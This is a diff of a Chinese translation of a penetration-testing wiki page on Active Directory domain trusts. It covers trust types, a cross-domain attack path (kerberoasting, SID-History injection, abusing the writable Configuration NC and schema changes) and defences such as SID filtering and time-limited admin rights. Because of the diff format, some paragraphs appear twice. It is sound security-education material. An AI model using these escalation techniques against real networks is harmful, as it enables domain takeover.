如果域 A 信任域 B,A 是信任域,B 是受信任域。此外,在**域 A**中,这将是**出站信任**;而在**域 B**中,这将是**入站信任**。
|
||||
如果域 A 信任域 B,A 是信任域,B 是受信任域。此外,在**域 A**中,这将是**出站信任**;在**域 B**中,这将是**入站信任**。
|
||||
|
||||
**不同的信任关系**
|
||||
|
||||
- **父子信任**:这是同一森林内的常见设置,子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
|
||||
- **交叉链接信任**:被称为“快捷信任”,这些信任在子域之间建立,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根节点上行,然后向目标域下行。通过创建交叉链接,旅程缩短,这在地理分散的环境中特别有利。
|
||||
- **外部信任**:这些信任在不同的、不相关的域之间建立,具有非传递性。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过 SID 过滤增强安全性。
|
||||
- **交叉链接信任**:称为“快捷信任”,这些是在子域之间建立的,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根节点上行,然后向目标域下行。通过创建交叉链接,旅程缩短,这在地理分散的环境中尤其有利。
|
||||
- **外部信任**:这些是在不同的、不相关的域之间建立的,具有非传递性。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过 SID 过滤增强安全性。
|
||||
- **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林非常重要,使它们能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
|
||||
- **森林信任**:这种类型的信任是两个森林根域之间的双向传递信任,也强制实施 SID 过滤以增强安全措施。
|
||||
- **MIT 信任**:这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) 的 Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
|
||||
- **MIT 信任**:这些信任与非 Windows 的[RFC4120 兼容](https://tools.ietf.org/html/rfc4120) Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
|
||||
|
||||
#### **信任关系中的其他差异**
|
||||
|
||||
@ -541,7 +541,7 @@ laps.md
|
||||
### 攻击路径
|
||||
|
||||
1. **枚举**信任关系
|
||||
2. 检查是否有任何**安全主体**(用户/组/计算机)对**其他域**的资源具有**访问**权限,可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域的关系**(信任可能是为此创建的)。
|
||||
2. 检查任何**安全主体**(用户/组/计算机)是否对**其他域**的资源具有**访问**权限,可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域关系**(信任可能是为此创建的)。
|
||||
1. 在这种情况下,kerberoast 可能是另一个选项。
|
||||
3. **妥协**可以**跨域**转移的**账户**。
|
||||
|
||||
@ -574,7 +574,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
|
||||
|
||||
#### SID-History 注入
|
||||
|
||||
通过 SID-History 注入,作为企业管理员提升到子/父域,利用信任关系:
|
||||
通过 SID-History 注入利用信任关系以企业管理员身份提升到子/父域:
|
||||
|
||||
{{#ref}}
|
||||
sid-history-injection.md
|
||||
@ -582,7 +582,7 @@ sid-history-injection.md
|
||||
|
||||
#### 利用可写的配置 NC
|
||||
|
||||
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 保持配置 NC 的可写副本。要利用这一点,必须在 DC 上拥有 **SYSTEM 权限**,最好是子 DC。
|
||||
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 维护配置 NC 的可写副本。要利用这一点,必须在 DC 上拥有 **SYSTEM 权限**,最好是在子 DC 上。
|
||||
|
||||
**将 GPO 链接到根 DC 站点**
|
||||
|
||||
@ -598,7 +598,7 @@ sid-history-injection.md
|
||||
|
||||
**架构变更攻击**
|
||||
|
||||
此方法需要耐心,等待新特权 AD 对象的创建。通过 SYSTEM 权限,攻击者可以修改 AD 架构,以授予任何用户对所有类的完全控制。这可能导致对新创建的 AD 对象的未经授权的访问和控制。
|
||||
此方法需要耐心,等待新特权 AD 对象的创建。通过 SYSTEM 权限,攻击者可以修改 AD 架构,以授予任何用户对所有类的完全控制。这可能导致对新创建的 AD 对象的未经授权访问和控制。
|
||||
|
||||
进一步阅读可在 [架构变更信任攻击](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) 中找到。
|
||||
|
||||
@ -661,9 +661,9 @@ rdp-sessions-abuse.md
|
||||
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险,该过滤在所有跨森林信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为内部森林信任是安全的,这是微软的立场。
|
||||
- 然而,有一个问题:SID过滤可能会干扰应用程序和用户访问,导致其偶尔被禁用。
|
||||
|
||||
### **选择性身份验证:**
|
||||
### **选择性认证:**
|
||||
|
||||
- 对于跨森林信任,采用选择性身份验证确保两个森林中的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
|
||||
- 对于跨森林信任,采用选择性认证确保两个森林中的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
|
||||
- 需要注意的是,这些措施并不能保护免受可写配置命名上下文(NC)的利用或对信任账户的攻击。
|
||||
|
||||
[**有关域信任的更多信息,请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
@ -682,7 +682,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
- **域管理员限制**:建议仅允许域管理员登录到域控制器,避免在其他主机上使用。
|
||||
- **服务账户权限**:服务不应以域管理员(DA)权限运行,以维护安全性。
|
||||
- **临时权限限制**:对于需要DA权限的任务,其持续时间应有限制。这可以通过:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`来实现。
|
||||
- **临时权限限制**:对于需要DA权限的任务,应限制其持续时间。这可以通过以下方式实现:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **实施欺骗技术**
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user